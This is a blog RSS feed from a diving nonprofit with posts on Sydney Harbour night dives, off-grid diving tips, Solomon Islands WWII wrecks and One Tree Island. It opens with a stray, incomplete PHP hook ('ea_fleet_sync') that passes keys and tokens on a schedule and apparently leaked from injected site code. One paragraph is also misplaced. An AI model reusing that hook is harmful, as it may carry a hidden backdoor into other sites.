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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Drenched Productions https://drenchedproductions.com - Expedition Drenched Sun, 09 Apr 2023 06:59:37 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://i0.wp.com/drenchedproductions.com/wp-content/uploads/2021/05/cropped-Expedition-Drenched-TRANSPARENT-BACKGROUND_3.png?fit=32%2C32&ssl=1 Drenched Productions https://drenchedproductions.com 32 32 193191625 We Went Night Diving in Sydney Harbour – Rays, Cuttlefish, and Seahorse Hotels https://drenchedproductions.com/we-went-night-diving-in-sydney-harbour-rays-cuttlefish-and-seahorse-hotels/ Sun, 09 Apr 2023 06:39:02 +0000 https://drenchedproductions.com/?p=3409 We did a night dive in Sydney Harbour and visited the seahorse hotels. Check out Sydney’s innovative approach to helping local seahorse populations.

The post We Went Night Diving in Sydney Harbour – Rays, Cuttlefish, and Seahorse Hotels first appeared on Drenched Productions.

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Night Dive at Sydney Harbour | Expedition Drenched

We Went Night Diving in Sydney Harbour - Rays, Cuttlefish, and Seahorse Hotels

We did a night dive in Sydney Harbour and visited the seahorse hotels. Check out Sydney’s innovative approach to helping local seahorse populations. 

After a bit of a break, we’re getting ourselves and Sylfia ready for a 240km sail over to the big island of Tasmania. But we can’t bring ourselves to leave Sydney without diving into the legendary Sydney Harbour. Most people wouldn’t normally associate a harbour setting with excellent diving, but Sydney breaks all the rules by offering shallow water reefs, deep wrecks, and even sea walls. 

We decided to do something a little bit different and get a glimpse of Sydney Harbour’s underwater residents at night. That’s right – we did a night dive in Sydney Harbour within view of the city. And boy did the abundance of marine life surprise and delight us! We were greeted by stingrays, cuttlefish, jellies, and even cute little seahorses.

The dive site we chose in Sydney Harbour was great because it allowed us to moor Sylfia just a short surface swim away from our entry point, but also because it’s one of the locations in Sydney where you can find ‘seahorse hotels’ – an Australian marine conservation project to help rebuild the dwindling populations of local seahorses. 

Australia’s Seahorse Hotels - Free Rooms

Seahorses have long captured the attention of SCUBA divers and conservationists alike because of their beauty and strangeness. There are 47 different species of seahorse and while not all are currently under threat, a growing number of seahorse species are seeing drastic declines in their populations.

One such seahorse is the White’s seahorse. Named after John White, Surgeon General to the First Fleet, it is one of four species of seahorse that are endemic to the New South Wales area and it is currently listed as an endangered species. They prefer to live in shallow water in or near an estuary environment and have been recorded in eight different estuaries on the New South Wales coast. However, White’s seahorses are found in the biggest numbers in Port Stephens, Port Hacking, and Sydney Harbour. 

To help slow or stop the loss of White’s seahorse populations, the Department of Primary Industries and Sydney’s SeaLife Aquarium joined forces to help create new habitats for these cute little creatures, rebuild their populations through breeding programs, and help educate local Australians about the importance of marine conservation. 

The team at Sea Life Aquarium designed and built 18 custom ‘seahorse hotels’ that they then dropped into the water at Delwood Beach and Little Manly for World Oceans Day in June 2021. These bio-degradable habitats were inspired by lost crab traps and over time they will be overgrown by corals, sponges, and algae that will protect them from predators and a ready supply of vital food for the seahorses. The conservation project hopes to deploy another 100 seahorse hotels in Sydney Harbour and Port Stephens in the coming years. 

We Went Night Diving in Sydney Harbour - Rays, Cuttlefish, and Seahorse Hotels
We Went Night Diving in Sydney Harbour - Rays, Cuttlefish, and Seahorse Hotels

The new habitats are only the first piece of the puzzle, though, since an empty hotel is a bad hotel. In September of 2022, Sea Life Aquarium released 111 juvenile White’s seahorses back into the water around Sydney. These little creatures were bred in the aquarium as part of Sea Life Sydney’s seahorse breeding program.

What Happens in the Ocean at Night?

After the sun goes down, the ocean changes from blue to dark black. While it often looks dark and dangerous from the surface, the underwater world turns into a colourful frenzy at night. Creatures of all kinds and sizes migrate from the deep oceans to the surface waters at night to feed, and in some cases, to breed. This movement of marine life is the largest migration of animals in the natural world – and it happens every single day. 

On a coral reef, the daytime belongs to the herbivores. But at night, the plant-eaters take shelter while the nocturnal carnivores come out to hunt. This change in dynamic changes the entire tone of a coral reef. At night, the small fish hide in cracks and crevices and appear terrified, while larger predators (often with adaptations that make them particularly good nighttime hunters) patrol the reef looking for individuals who are weak or have taken a chance and gone too far from home. 

At the end of the night, the carnivores retreat with some going back down into the depths, and others going out into open water, leaving the herbivores free to abandon their hiding places and begin their own daily search for food.

cuttlefish - Australia Harbour | Expedition Drenched
Octopus - Sydney Harbour | Expedition Drenched

What Training Do I Need to Night Dive?

You don’t technically need special training to go night diving. Anyone who’s Open Water certified or higher can go diving at night. However, taking a night diving specialty course is a great way to introduce yourself to the new kind of diving. 

PADI’s night diving specialty course will teach you how to use your dive torch to communicate underwater, how to navigate around dive sites in the dark, and most importantly, it’ll give you a chance to experience a dive at night while under the supervision of a trained professional. 

If you love to gaze over a dive site in the daytime and meet its local marine residents, then you’ll absolutely adore seeing how everything changes once the sun goes down. Even if you night dive on sites you’ve been to many times, it’ll feel like a brand new site with a whole new cast of underwater creatures. 

 

The Next Chapter of the Expedition Drenched Story

The next part of the Expedition Drenched adventure is going to be a great one. While we’ve been in Sydney we took the opportunity to make some repairs and upgrades to our treasured Sylfia. We stitched up the tears in her sails, replaced all her rope lines, and even had Manu and Tom build some stylish and comfortable outdoor benches out on her bow. She’s never been in better shape or more ready for another adventure on the open seas. 

Our next adventure will have us set sail for Tasmania, the island state located about 240km south of the Australian mainland. And we’ll be sailing there with both some familiar crew faces, but also some new ones. While we’re still sad that Molly and Philip have gone on to bigger and better things, we’re super excited to welcome Mike and Tilly to our band of salty marine conservationists and already love the energy they bring to the crew. 

Follow our channel on YouTube and make the sail to Tasmania with us. You won’t regret it since Tasmania has some of the best temperate diving in the world. From shipwrecks to caves to sea dragons and beyond, Tasmania has an underwater world unlike anything else that we’ve seen before. 

It’s time to start a new chapter in our love story with the ocean!

👉Web: https://expeditiondrenched.org

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Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

If you liked our video, keep watching them! Subscribe! Thumbs Up!

Let us know what you think in the comments! Share us with all your favorite mermaids and mermen in your life!

Support us on Patreon: https://www.patreon.com/DrenchedDivers

We Use & Love:

Cameras we use:

  • Aerials: DJI Mavic
  • On Land: Sony A7iii, Sony AX-53, GoPro 7

Underwater:

  • Sony A7iii in Nauticam Housing
  • Sony RX-100 in Nauticam Housing Underwater

Lighting:

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The post We Went Night Diving in Sydney Harbour – Rays, Cuttlefish, and Seahorse Hotels first appeared on Drenched Productions.

]]> 3409 Get Out More and EXPLORE – Our Top Tricks & Tips for SCUBA Diving Off the Grid https://drenchedproductions.com/get-out-more-and-explore-our-top-tricks-tips-for-scuba-diving-off-the-grid/ Sun, 06 Nov 2022 14:51:40 +0000 https://drenchedproductions.com/?p=3332 Get out more and EXPLORE but don’t stick to the beaten path. Here are our top tricks & tips for exploring the oceans and adventuring off the grid.

The post Get Out More and EXPLORE – Our Top Tricks & Tips for SCUBA Diving Off the Grid first appeared on Drenched Productions.

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Get Out More and EXPLORE - Our Top Tricks & Tips for SCUBA Diving Off the Grid | Drenched Productions

Get Out More and EXPLORE - Our Top Tricks & Tips for SCUBA Diving Off the Grid

Get out more and EXPLORE but don’t stick to the beaten path. Here are our top tricks & tips for exploring the oceans and adventuring off the grid. 

 

The Expedition Drenched project has always been founded on two key principles – marine conservation and adventure. All of the crews that have called the Sylfia home have been delightful little misfits that prefer to be out on the water (or wearing SCUBA gear below the water) over being stuck on land. We spend tons of our time sailing the oceans looking for interesting dive sites – from popular, mainstream sites to off-the-grid sites that are rarely seen by human eyes. 

Over the years we’ve become pretty good at planning our adventures, but it wasn’t always so easy and breezy for us. This week we thought we’d share some of the tips and lessons we’ve learned while trying to cobble together a trip that’s exciting for everyone. 

Get the Right Training to Dive Off Grid

If you’re going to be diving off the grid you need to remember that you MUST be able to rely on yourself and your crew for all emergencies. Experience and proper training should always be the priority of any crew looking to dive remote sites. But of all the available SCUBA courses out there, which ones are the MOST necessary? Here’s our list of the five courses you should focus on before heading out on a remote SCUBA adventure.

Our Top Tricks & Tips for SCUBA Diving Off the Grid | Drenched Productions
SCUBA Diving Off the Grid | Drenched Productions

Advanced Course

Remote dive sites and sites that are further away from shore are almost always going to be better for advanced divers than beginner divers because of greater depths and highly volatile ocean conditions. The Advanced SCUBA course, whether it is PADI, SSI, or any other certifying agency, will give you a good foundation for dealing with more challenging underwater situations. You’ll learn the basics of underwater navigation and the added concerns associated with diving up to a depth of 30m, and you’ll practice and improve your buoyancy skills. These are all critical skills to have (and build) when you’re going to be diving off your own boat onto a remote site without a local guide or local professional.

Navigation Speciality

The whole idea behind diving remote sites is to get out and explore a new place, but that means that you’ll always be diving at a completely unfamiliar site. Being able to navigate properly underwater is super important so that you can keep your bearings on new sites and surface close to your boat. A SCUBA navigation speciality course will teach you how to navigate using an underwater compass and also using natural landmarks and visual cues. It’ll fine-tune your observation skills and make you the natural leader of your adventure dive team.

Rescue Diver

A heavy battle ensued and the sub submerged itself to avoid the powerful guns on the two attacking ships. But, not only did the ocean not give her a safe place to hide, but the ocean also gave away her position. The large submarine was moving through bioluminescent plankton-filled water that lit up the underwater vessel for the attacking forces to clearly see. When done properly, SCUBA diving is a relatively safe sport. However, it is still considered an extreme sport and accidents can happen. When you’re on vacation and diving with a dive centre, your Divemaster and the dive centre are responsible for your safety. Off-the-grid diving means that you won’t have a team of professionals to help you if something does go wrong. Getting a rescue diver course under your belt would give you (and your dive team) good reassurance that you’re capable of managing accidents and emergencies that are commonly associated with SCUBA diving – like locating a missing diver, getting an unconscious diver to the surface, and providing basic first aid in the ocean and on land.

Night Diving Speciality

The oceans come alive at night. Millions of animals emerge from their hiding places in the deep oceans and shallow coral reefs alike. Nighttime is when most of the ocean’s creatures go hunting. A night diving specialty course will teach you how to navigate when you can’t see anything, how to use your underwater light to communicate, and how to safely ascend and descend in total darkness. Don’t be afraid – a night dive is one of the most magical ocean experiences out there!

Drift Diver Speciality

Our last diver education course suggestion for diving remote sites is the drift diver specialty. Why is this one on our list? Easy. Remote sites often have much stronger currents than inland sites and the drift diver course will teach you how to be a confident diver even in strong currents. Beyond that, it will also teach you how to safely enter and exit the water in a strong current situation – a must if you’re going to be diving off the back of your own boat into the unknown!

Have the Right Safety Equipment

Having the right safety equipment is extremely important when you’re diving off-grid for the same reasons that having the right training is important. When you’re out on your own without the support of a dive centre and a team of professionals, you have to have all the equipment that normally be carried by a divemaster or a SCUBA instructor, plus all the things that would normally be found on a professional dive boat. 

When you’re diving off-grid, every member of the team should be carrying their own ‘safety sausage’ or surface marker buoy (SMB). This is extremely important. No matter how bright and colourful your dive mask is, you will not be visible if you drift too far from the boat. An SMB is a bright orange and about a meter tall and it’s clearly visible from a distance away. Divers should also always be carrying their own compasses and dive torches so that they can navigate independently (if needed) and have an additional way to signal for help. 

The equipment that should be kept on the boat includes a dive flag that signals to others around that you have divers below, a save-a-dive kit with extra replaceable parts, and onboard emergency oxygen. Another important layer of safety is having surface cover from the boat. NEVER allow all the crew members to dive at the same time. ALWAYS leave at least one person aboard the boat to look out for divers with problems and things like incoming bad weather. 

How to Find the Right Site

Finding your way to popular dive sites is easy because most dive centres around the world will actively advertise the best local dive sites and will build their day trip packages around these local favourites. The Expedition Drenched crew prefers to find our own dive sites to explore, sites that can teach us something or show us something new. 

We’ve always found our off-the-grid sites using the internet and simple word of mouth. Searching through SCUBA diving blogs, online forums, and even Instagram feeds is how we find dive sites that most people have never heard of or can’t access. If we’ve decided to hit a completely submerged site, we’ll use our onboard sonar and depth finder to locate the underwater structure we’re looking for.

Sometimes, like when Expedition Drenched was travelling through the Solomon Islands, we even had to travel to land and speak to village elders to locate some underwater wrecks. In a lot of locations in the South Pacific, the exact locations of some of the older wrecks, like the World War II wrecks, are only known by a select few villagers.

Do a Proper Pre-Dive Buddy Check

Once divers become professionals or get enough experience under their belt, they can sometimes stop doing buddy checks before they jump in the water. They become complacent when they shouldn’t. Always make sure to do a proper buddy check before SCUBA diving, especially when you’re diving in a remote area. Take the time to check your gear and the gear of your dive buddy while you’re still dry on the boat. Make sure that any problems that could ruin the dive are found early. 

 

How do you remember all the steps in a proper buddy check? It’s easy. Bruce Willis Ruins All Films. Or whatever other acronym you want to use! 

 

BCD- inflate and deflate your buddy’s BCD while they do the same to yours

Weights – check that you and your buddy are carrying weights

Releases – double check to make sure that all releases (and safety strap) are attached

Air – breathe from your buddy’s alternate while you breathe from your primary
Final – final checks (compass, dive torch, asking if are we good to dive)

 

The ocean is a HUGE place and you can technically go SCUBA diving almost anywhere you want. If you’re lucky enough to have access to a private boat or happen to find yourself part of an awesome boat crew like us, don’t feel that you have to stick to the dive sites that are on the beaten path. Use your imagination and explore some completely new places that could offer some totally unbelievable experiences. 

 

👉Web: https://expeditiondrenched.org

👉Patreon: https://www.patreon.com/DrenchedDivers

👉Facebook: https://www.facebook.com/ExpeditionDr…

👉Instagram: https://www.instagram.com/expeditiond…

👉Merch: https://expeditiondrenched.org/collections/products

 

Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

If you liked our video, keep watching them! Subscribe! Thumbs Up!

Let us know what you think in the comments! Share us with all your favorite mermaids and mermen in your life!

Support us on Patreon: https://www.patreon.com/DrenchedDivers

We Use & Love:

Cameras we use:

  • Aerials: DJI Mavic
  • On Land: Sony A7iii, Sony AX-53, GoPro 7

Underwater:

  • Sony A7iii in Nauticam Housing
  • Sony RX-100 in Nauticam Housing Underwater

Lighting:

You Might Also Like:

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Our online store on the Expedition Drench website was already fully stocked with awesome, ocean-inspired gear that will get you noticed on the beach, on a sailboat, or even on a di

The post Get Out More and EXPLORE – Our Top Tricks & Tips for SCUBA Diving Off the Grid first appeared on Drenched Productions.

]]> 3332 History in the Solomon Islands – Diving a WW2 Submarine & B17 Flying Fortress Bomber https://drenchedproductions.com/diving-a-ww2-submarine-b17-flying-fortress-bomber/ Sat, 15 Oct 2022 16:24:30 +0000 https://drenchedproductions.com/?p=3049 We SCUBA dive a Japanese sub and an American bomber aeroplane in the Pacific Theatre - Diving World War II history in the Solomon Islands

The post History in the Solomon Islands – Diving a WW2 Submarine & B17 Flying Fortress Bomber first appeared on Drenched Productions.

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Diving a WW2 Submarine & B17 Flying Fortress Bomber | Expedition Drenched

History in the Solomon Islands - Diving a WW2 Submarine & B17 Flying Fortress Bomber

We SCUBA dive a Japanese sub and an American bomber aeroplane in the Pacific Theatre – Diving World War II history in the Solomon Islands

They say that loose lips sink ships – but so do guns and wars!

This season of Expedition Drenched has brought our crew to (probably) the most beautiful place on earth, both above and below the water. The crystal-clear, warm, turquoise waters gave us almost too many excellent SCUBA dives to count and the lush green hills of the Solomon Islands introduced us to village after village of friendly and welcoming locals.

The Expedition Drenched crew spends a lot of time fighting to keep man-made things out of our ocean waters, but sometimes these things get into the water anyway. Wars around the world have left an untold number of shipwrecks and aeroplane wrecks on the ocean floor. One war, in particular, left a huge impact on the South Pacific – World War II.

The fighting in the Pacific Theatre during WWII was intense and a good deal of it was centred around the Guadalcanal area. So while we’re here we just had to strap on our SCUBA equipment and jump in to check out some of the wreckage left behind from the worst war in human history.

Guadalcanal - War Erupts in Paradise

Guadalcanal is the largest island in the Solomon Islands by area and the second most populated. It is a tropical paradise with deep blue and turquoise waters surrounding lush green flatlands and jungle-covered mountains. The tallest peak in the Solomon Islands is on Guadalcanal too.

Despite Guadalcanal and the rest of the Solomon Islands being one of the most idyllic places on earth, this area of the world saw some of the most intense battles during WWII. It was an extremely important strategic outpost in the Pacific Theatre for both the Allied forces and the Japanese.

At the beginning of 1942, Japanese forces landed in the Solomon Islands and New Guinea. Their goal was two-fold: to build a naval base that could protect the Japanese offensive and to create bases that could break supply lines for the Allied forces. The Allied forces didn’t really like this Japanese tactic and they launched their Guadalcanal campaign on August 7, 1942.  The fighting was bloody and drawn out, but eventually, the Allies were able to stop the Japanese by inflicting terrible losses on their military assets. While the Japanese kept resisting and engaging in the odd, isolated battle, the Allies were able to reclaim many of the Solomon Islands and neutralize strategic Japanese positions.

Japanese I-1 Submarine

The I-1 type of Japanese submarine was a large cruiser sub and was the lead unit of the four submarines in her class. The specific I-1 sub that we were looking to dive was originally commissioned in 1926 and she has one heck of a history. 

This submarine served in the Second Sino-Japanese War and WWII. During the latter, she supported the attack on Pearl Harbor, ran anti-shipping patrols in the Indian Ocean, and participated in the Aleutian Islands campaign and the Guadalcanal campaign. This particular submarine was no stranger to combat and was pretty lucky during her lifetime – until her mission near Guadalcanal where she was attacked by two New Zealand warships, the HMNZS Moa and Kiwi.

  • Dive Type: Submarine wreck
  • Date Wrecked: January 29, 1943
  • Depth: Minimum –  10m, maximum –  25m
  • Location: Near the village of Tambea – Honiara, Guadalcanal, Solomon Islands

The Moa and the Kiwi began patrolling the Guadalcanal area on December 19, 1942, and on the night of January 29, 1943, they found themselves near the Kamimbo Bay area of Guadalcanal, a Japanese-controlled area. The I-1 sub surfaced and headed for the port but was spotted by the Moa and the Kiwi. 

HMNZS MOA | Expedition Drenched
HMNZ Moa | Expedition Drenched

A heavy battle ensued and the sub submerged itself to avoid the powerful guns on the two attacking ships. But, not only did the ocean not give her a safe place to hide, but the ocean also gave away her position. The large submarine was moving through bioluminescent plankton-filled water that lit up the underwater vessel for the attacking forces to clearly see. The New Zealand warships took advantage of this natural help and dropped depths charges that successfully brought the I-1 back up to the surface. The Kiwi rammed the submarine three times and eventually ran it aground on a shallow reef near the shore where it still sits today.  

What is Bioluminescence?

Bioluminescence is one of the most amazing phenomena in the natural world. It’s a process where a living organism is capable of producing certain chemicals that produce light. That’s right. Bioluminescent creatures come with their own lightbulbs. 

The most well-known example of bioluminescence is fireflies. Also known as glowworms or lightning bugs, fireflies are soft-bodied beetles that live in the marshes and wooded areas of temperate and tropical climates. They have specialized cells in their abdomens that allow them to produce light. The entire chemical process that occurs within these cells is super complex but essentially the cells contain chemicals that produce light when exposed to oxygen. Believe it or not, a firefly can also control the beginning and end of the chemical reaction. It can turn its light on and off by allowing or disallowing oxygen access to the cells. 

While fireflies might be the most common example of bioluminescence in the natural world, the majority of creatures who are bioluminescent live in the oceans. From tiny little bacteria to large predatory sharks, the examples of marine bioluminescence are endless and extraordinary. Not only does the bioluminescence adaptation exist throughout the entire range of marine organisms, but it’s also found in all marine habitats from the surface to the deep sea floor. 

The bioluminescence that gave away the I-1 submarine’s position occurred in the surface waters and was generated by a bloom of plankton. It might seem crazy that a bloom of microscopic creatures can produce enough light to give away the position of a well-designed submarine, but it’s true. As the plankton are disturbed in their watery home, they become bioluminescent to (it’s believed) deter any more interaction from a potential predator. 

SCUBA divers often take advantage of this apparent defence mechanism to give themselves a little fun when they’re diving at night. If you turn off your underwater torch during a night dive so that it’s as dark in the water as it can be, then move your arms around rapidly, things in the water will start to glow. The small organisms in the water begin to produce light because they believe the rapid change of water movements is a danger to them.

The Submarine That Exploded Twice

After the Japanese I-1 submarine ran aground on a reef, the surviving Japanese soldiers abandoned the ship, leaving everything behind. The submarine’s commander, Lt. Koreeda, quickly realized that during the evacuation, they’d left behind things that could be very useful to the Allies – like code books, charts, lists of Japanese marine designations, future military plans, and more. He knew that they had to go back to the stricken submarine.

During the night of February 2, 1943, Lt. Koreeda, two junior officers, five crew members, and eleven other Japanese sailors returned to the I-1 sub-armed with depth charges that they hoped would destroy the vessel. The charges weren’t quite strong enough but they did do enough damage to make most salvage attempts useless. Not all attempts, however. The Americans were able to retrieve a code book from the destroyed I-1 sub that eventually allowed them to crack the Japanese code.

Diving an American B17 Bomber Airplane

It’s estimated that there are 200 shipwrecks and 690 aeroplane wrecks in the Guadalcanal area. That’s a lot of history hidden beneath the waves! We couldn’t bear sailing to such a history-filled area and only diving one of the WWII wrecks. After exploring the Japanese submarine, we piloted our little boat over to an American B17 bomber just offshore from the village of Ndomo.

  • Dive Type: American B17 bomber wreck
  • Date Wrecked: September 24, 1942
  • Depth: Minimum –  9m, maximum –  18m
  • Location: Near the village of Ndomo – Vilu, Guadalcanal, Solomon Islands

This particular aeroplane wreck is a Boeing B17 ‘Flying Fortress’ Bomber originally built in Seattle, Washington. The plane was affectionately called Bessie by its crew. In September 1942, Bessie was relocated to Henderson Airbase in Guadalcanal. On the 24th of that month, she took part in a bombing mission to Tonolei in New Guinea to destroy a Japanese seabase. 

During the bombing raid, Bessie was heavily attacked by Japanese Zeros (a type of fighter plane). She was in rough shape and she tried desperately to return to Guadalcanal, but she didn’t make it. She ditched at sea a mere 180m from the shore, 30km inside a Japanese-controlled area. 

Bessie’s captain was badly injured in the crash but managed to make it to shore and evade capture by the Japanese for six days. A gunner also survived the crash and managed to escape capture. His remains were found in the Guadalcanal hills after the Japanese retreated. The fates of the other crew members remain a mystery.

The final resting place for this proud American aircraft is a patch of black volcanic sand sitting on the fringes of a lush coral reef. She’s missing her tail but otherwise, she’s still intact with her four large engines still hanging from the wings and seats still attached in the cockpit. The wreck is now crusted in brightly-coloured corals and sponges and its aluminium alloy construction means that it’s been able to withstand the corrosive effects of an eternity at sea. It still looks just like an aeroplane!

The marine life that call the waters of the South Pacific home didn’t ask for war and certainly were not part of the conflict that brought so many countries to arms. WWII was destructive on land and also on our seas. Years of constant fighting, explosions, fuel spills and metal vessels littering the ocean floor brought havoc to the marine world. SCUBA diving on these WWII wrecks really helped the Expedition Drenched crew to remember a very uncertain time in the history of the world, but it also reminded us that the marine environment is capable of regrowth and regeneration. Just look at all the coral and life that you can find on these historical wrecks.

Happy (history) bubbles! 

👉Web: https://expeditiondrenched.org

👉Patreon: https://www.patreon.com/DrenchedDivers

👉Facebook: https://www.facebook.com/ExpeditionDr…

👉Instagram: https://www.instagram.com/expeditiond…

👉Merch: https://expeditiondrenched.org/collections/products

 

Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

If you liked our video, keep watching them! Subscribe! Thumbs Up!

Let us know what you think in the comments! Share us with all your favorite mermaids and mermen in your life!

Support us on Patreon: https://www.patreon.com/DrenchedDivers

We Use & Love:

Cameras we use:

  • Aerials: DJI Mavic
  • On Land: Sony A7iii, Sony AX-53, GoPro 7

Underwater:

  • Sony A7iii in Nauticam Housing
  • Sony RX-100 in Nauticam Housing Underwater

Lighting:

You Might Also Like:

DJI Mavic 2 PRO Drone Quadcopter with Fly More Kit Combo Bundle
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Keldan Video 8X 10,000 Lumen 5,000K Video
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GoPro HERO7 Black + Extra Battery - E-Commerce Packaging - Water
GoPro HERO7 Black + Extra Battery - E-Commerce Packaging - Water
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Products

Our online store on the Expedition Drench website was already fully stocked with awesome, ocean-inspired gear that will get you noticed on the beach, on a sailboat, or even on a di

The post History in the Solomon Islands – Diving a WW2 Submarine & B17 Flying Fortress Bomber first appeared on Drenched Productions.

]]> 3049 One Tree Island Research Station – Expedition Drenched the FIRST Sailors Allowed to Visit https://drenchedproductions.com/one-tree-island-research-station-expedition-drenched-the-first-sailors-allowed-to-visit/ Fri, 07 Oct 2022 10:21:41 +0000 https://drenchedproductions.com/?p=2992 One Tree Island Research Station is OFF LIMITS to most people - but we’re Expedition Drenched! We go where no other tourists have gone before!

The post One Tree Island Research Station – Expedition Drenched the FIRST Sailors Allowed to Visit first appeared on Drenched Productions.

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One Tree Island Research Station | Expedition Drenched

One Tree Island Research Station - Expedition Drenched the FIRST Sailors Allowed to Visit

One Tree Island Research Station is OFF LIMITS to most people – but we’re Expedition Drenched! We go where no other tourists have gone before!

The issue of marine conservation is very dear to the hearts of all the Expedition Drenched crew, past and present. It’s what drives us to explore, learn, and document the oceans for all to see. We hope that through our expeditions and our social media channels, we can spread our love of the seas to more and more people and grow the size of the grassroots movement that’s fighting to protect these vital environments.

This is why when we got the opportunity to visit One Tree Island Research Station in the southern Great Barrier Reef, we simply HAD to set sail to the small cay to see where the world’s top marine scientists are attempting to crack the biggest marine conservation issues. And since the island is off-limits to tourists and the general public, this was a huge opportunity for us to get you, our followers, inside this heavily restricted natural space. 

 

What is One Tree Island?

One Tree Island is a tiny coral cay in the Great Barrier Reef that sits about 100km off the coast of Gladstone in Queensland, and 20km east of Heron Island. The island and the surrounding reef are heavily protected and human impacts are kept to a very minimum. Because of these heavy restrictions, the marine life around One Tree Island is virtually pristine and perfect for teaching and research.

One Tree Island became a station in 1965 when the Australian Museum began some research based on the island. The site has been under the management of the University of Sydney since 1974 and since that time has become a world-renowned research location with a list of over 400 published science titles. 

The facilities may be a bit rustic because of the University of Sydney’s commitment to having as little impact on the surrounding environment as possible, but the station itself is well-equipped to help marine scientists tackle the important marine conservation issues of the day.

One Tree Island Research Station has three different laboratory setups available to visiting scientists: a dry lab, a wet lab, and a biological lab. These three types of labs, combined with the fully-stocked SCUBA and snorkelling shed and 9 different multi-purpose vessels, make One Tree Island the perfect spot to conduct marine research.

The dry lab is an air-conditioned research space with a variety of available pieces of scientific equipment like a centrifuge, top pan balances, and high-quality microscopes. 

The wet lab is a covered outdoor space that overlooks the lagoon. This proximity to the ocean allows for the setup of sea tables that have continual saltwater flow input. This lab also contains a UV sterilization system and a filtration system that can produce water perfect for larval research. At the rear of the covered space, there are even two rooms where microscopic observations can take place in a dark or light environment. 

The last part of the One Tree Island lab puzzle is the on-site biological lab. This is a fully indoor building with air conditioning and basic lab equipment like electronic balances and a fume hood.

You might be thinking – hey that doesn’t sound like enough equipment to do in-depth marine research! You’re not wrong. One Tree Island Research Station provides the laboratory basics that all visiting research teams would need. Since the station hosts teams that are researching a huge variety of topics requiring a vast selection of specialized equipment, research teams usually bring what they need with them to the island. 

Where Did It Get Its Name?

Just like many places around the world, One Tree Island got its name from the team of explorers that originally discovered the tropical cay. The southern cays of the Great Barrier Reef were first discovered between 1819 and 1821 by Lieutenant Philip Parker King but the first actual charting of the area and its reefs was conducted in 1843 under the command of Captain Francis Price Blackwood.


On January 10, 1843, Blackwood and his crew aboard the HMS Fly arrived at One Tree Island after mapping Lady Elliot Island just 3 days prior. The crew of the Fly actually landed on the island for the first time the day after their arrival. The crew of the HMS Fly gave the island the One Tree Island name because it was (and still is)  home to a small cluster of pandanus trees that look like a single tree from the water.

How Eco-Friendly is One Tree Island?

One Tree Island is a location where humans have very little impact on the environment in the immediate area. The island is off-limits to tourists and the general public so that the reefs and countless varieties of sea life can exist in a pristine environment. The point of keeping the environment pristine, however, is so that marine research can be conducted in near-perfect conditions.

Humans conduct research but humans also use resources and produce waste. That’s why One Tree Island Research Station was built and is maintained with a strong eco-friendly focus. The goal of the station is to conduct cutting-edge science with as little an environmental footprint as possible. The station allows for a maximum capacity of 34 people at any one time. Those people are housed in two accommodation blocks that each contain a kitchen stocked with all the amenities that visiting research teams may need. 

The University Of Sydney
ANU College of Science

The station allows for a maximum capacity of 34 people at any one time. Those people are housed in two accommodation blocks that each contains a kitchen stocked with all the amenities that visiting research teams may need. 

The living and working arrangements at the station all run in a completely sustainable and eco-friendly way. All the power that the station uses is produced using solar panels, fresh water for drinking and cooking is provided by collecting rainwater, human waste is collected in composting toilets, and all showers are actually just buckets hoisted high to limit personal water consumption. 

One Tree Research Station is still a research location in the modern world, so despite its remote and sometimes rugged nature, the island still has high-speed internet so that researchers can stay connected with their institutions and upload data in real-time. 

What Kind of Marine Research Happens on One Tree Island?

One Tree Island Research Station is located in one of two orange zones within the Great Barrier Reef Marine Park. Orange zone areas are off-limits to the general public and are meant for research use only. Human interaction and impact in these two orange zones are tightly controlled. 

The entire marine park is divided into 9 different types of protection zones with different restrictions and allowances assigned to each. The idea behind the zones is simply to protect and conserve the Great Barrier Reef as well as possible, while still allowing for tourism and research activities. 

Obviously, the research conducted at the One Tree Island Research Station is marine-based research and not research on polar bears. Any research team that has the proper research permit and institutional approval can apply for a stay on One Tree Island. While the process and waiting line can be long, the research station is the perfect place to conduct tropical marine research. Research teams that get the approval to visit One Tree Island are usually focused on the effects of climate change on the oceans, coral bleaching, the ecology of reef systems, geology, and sedimentation issues. 

One Tree Research Station is a highly sought-after location to conduct marine research. It’s so popular that it attracts researchers from all over the planet and has been the central location behind over 400 marine research papers. The facilities keep a database of publications and temperature data for the lagoon area too. If you’re interested in reading about some of the research that has been done at the station, email the station manager to get copies for yourself. 

Wait, the Trees on One Tree Island Kill Birds?

Yeah, they do. In addition to the small cluster of pandanus trees that landed the island its name, the island is also home to a species of tree that seems to actively hunts animals, namely birds. 

Pisonia trees, also known as Bird-catchers or Grand devil’s-claw, have broad but thin leaves and smooth bark. Over the years, it’s developed an ingenious way of spreading its seeds near and far – it produces barbed seeds that get stuck in the feathers or fur of any creature that gets too close to the tree. Those creatures then scatter the seeds further than the tree would be capable of doing on its own. 

One type of Pisonia tree, pisonia grandis, found in the Indian and Pacific oceans, has taken this seed dispersal technique a little bit too far, however. Its long seeds are coated with both a glue-like mucus and small barbs so that they stick to everything that touches them. If too many of these seeds build up on an animal, the seeds can weigh the animal down and eventually stop it from moving altogether. Many creatures simply die at the foot of the offending tree. 

One Tree Island serves as a refuge for up to eight different types of seabirds. Twice a year, at times that conveniently coincide with peak seabird traffic, the Pistonia tree flowers and starts producing seeds. The seabirds use the killer trees to nest and raise their young and the result can sometimes look like a scene from a horror movie with the corpses of birds covering the ground and sometimes even hanging from branches like evil Christmas ornaments. 

